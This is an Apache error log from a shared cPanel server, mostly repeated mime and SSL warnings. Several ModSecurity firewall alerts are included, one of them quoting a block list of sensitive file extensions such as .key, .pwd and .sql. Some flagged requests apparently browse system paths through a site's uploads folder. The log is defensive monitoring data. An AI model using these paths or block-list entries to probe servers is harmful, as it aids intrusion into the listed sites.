[Fri Jul 17 10:20:52.082605 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:52.183221 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:52.284602 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:52.384694 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:52.586406 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:52.656647 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:39918] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:52.688374 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:52.790582 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:52.891553 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:52.992767 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.095119 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.195211 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.300316 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.400550 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.501387 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.703274 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.802877 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.904534 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:53.916474 2026] [log_config:warn] [pid 2039911:tid 2039911] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --suffix=-bytes_log --sslport=8443
[Fri Jul 17 10:20:53.916515 2026] [log_config:warn] [pid 2039911:tid 2039911] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
[Fri Jul 17 10:20:53.916523 2026] [log_config:warn] [pid 2039911:tid 2039911] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --mainout=/etc/apache2/logs/access_log --sslport=8443
[Fri Jul 17 10:20:54.004320 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:54.309257 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:54.410614 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:54.511531 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:54.612388 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:54.775979 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/90-sieve.conf"] [unique_id "alm0rvTLXGCuVk4hiAO9pgAAAAs"]
[Fri Jul 17 10:20:54.776488 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/90-sieve.conf"] [unique_id "alm0rvTLXGCuVk4hiAO9pgAAAAs"]
[Fri Jul 17 10:20:54.797892 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/90-sieve.conf"] [unique_id "alm0rvTLXGCuVk4hiAO9pgAAAAs"]
[Fri Jul 17 10:20:54.812856 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:54.914213 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:55.016285 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:55.117222 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:55.216998 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:55.318130 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:55.632467 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:55.725162 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:55.827767 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:55.929802 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:56.034800 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.148101 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.247466 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.254161 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.332568 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.402722 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.448777 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.558797 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.561871 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.688851 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.759600 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.859297 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:57.881017 2026] [security2:error] [pid 2075728:tid 2075728] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/backup/img/news- img3.png"] [unique_id "alm0sW4QbEUIiqCvQml44QAAAAQ"]
[Fri Jul 17 10:20:57.881679 2026] [security2:error] [pid 2075728:tid 2075728] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/backup/img/news- img3.png"] [unique_id "alm0sW4QbEUIiqCvQml44QAAAAQ"]
[Fri Jul 17 10:20:57.903931 2026] [security2:error] [pid 2075728:tid 2075728] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/backup/img/news- img3.png"] [unique_id "alm0sW4QbEUIiqCvQml44QAAAAQ"]
[Fri Jul 17 10:20:58.078264 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.165623 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.366882 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.496677 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.597513 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.697786 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.726158 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:40164] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:58.800119 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.800191 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.800220 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.800243 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.800265 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.800289 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:58.900379 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.111656 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.204008 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.304514 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.407817 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.506256 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.607235 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.710075 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.808729 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:59.819608 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:40190] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:59.910222 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:00.011548 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:00.111676 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:00.212187 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:00.312462 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:00.515188 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:00.618894 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:00.717447 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.019465 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.121207 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.223060 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.425249 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.425356 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.425423 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.425477 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.425531 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.425583 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.525390 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.727905 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.727982 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.728010 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.728031 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.728066 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:01.728088 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.030923 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.031014 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.031046 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.031123 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.031146 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.031170 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.233103 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.435204 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.638892 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:02.943610 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.041359 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.145092 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.145734 2026] [security2:error] [pid 2075690:tid 2075690] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/licenses/iputils/"] [unique_id "alm0txyL4_TKNgi7OLI2sAAAAB4"]
[Fri Jul 17 10:21:03.145763 2026] [security2:error] [pid 2075690:tid 2075690] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/licenses/iputils/"] [unique_id "alm0txyL4_TKNgi7OLI2sAAAAB4"]
[Fri Jul 17 10:21:03.243798 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.244313 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/licenses/libsss_certmap/"] [unique_id "alm0t35-BwPGxupoEJkz2AAAAA0"]
[Fri Jul 17 10:21:03.244336 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/licenses/libsss_certmap/"] [unique_id "alm0t35-BwPGxupoEJkz2AAAAA0"]
[Fri Jul 17 10:21:03.344718 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.359451 2026] [security2:error] [pid 2075978:tid 2075978] [client 190.106.177.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "alm0t2Fjrl6DCT-Pyn8ThgAAAAo"]
[Fri Jul 17 10:21:03.359501 2026] [security2:error] [pid 2075978:tid 2075978] [client 190.106.177.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "alm0t2Fjrl6DCT-Pyn8ThgAAAAo"]
[Fri Jul 17 10:21:03.445256 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.545515 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.647443 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.749131 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.818303 2026] [ssl:error] [pid 2075728:tid 2075728] (70014)End of file found: [client 66.85.158.91:58346] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:03.848956 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:03.950190 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.050478 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.152988 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.254429 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.354968 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.455817 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.558161 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.658880 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.771239 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.861238 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:04.964908 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.025811 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:58382] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:05.064724 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.194444 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.266560 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.367816 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.468202 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.569220 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.670376 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.770755 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.871831 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:05.971988 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.074850 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.174768 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.276260 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.377661 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.478569 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.525922 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:58466] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:06.579983 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.680987 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.781915 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:06.887436 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.000268 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.086922 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.186073 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.287505 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.388991 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.491811 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.594958 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.738571 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.796997 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.895490 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:07.996408 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:08.096808 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:08.200502 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:08.299360 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:08.400379 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:08.502344 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:08.502900 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/licenses/prefixdevname/"] [unique_id "alm0vEj_u9-aE9qeQW0cKAAAAAk"]
[Fri Jul 17 10:21:08.502950 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/licenses/prefixdevname/"] [unique_id "alm0vEj_u9-aE9qeQW0cKAAAAAk"]
[Fri Jul 17 10:21:08.604296 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:08.703347 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
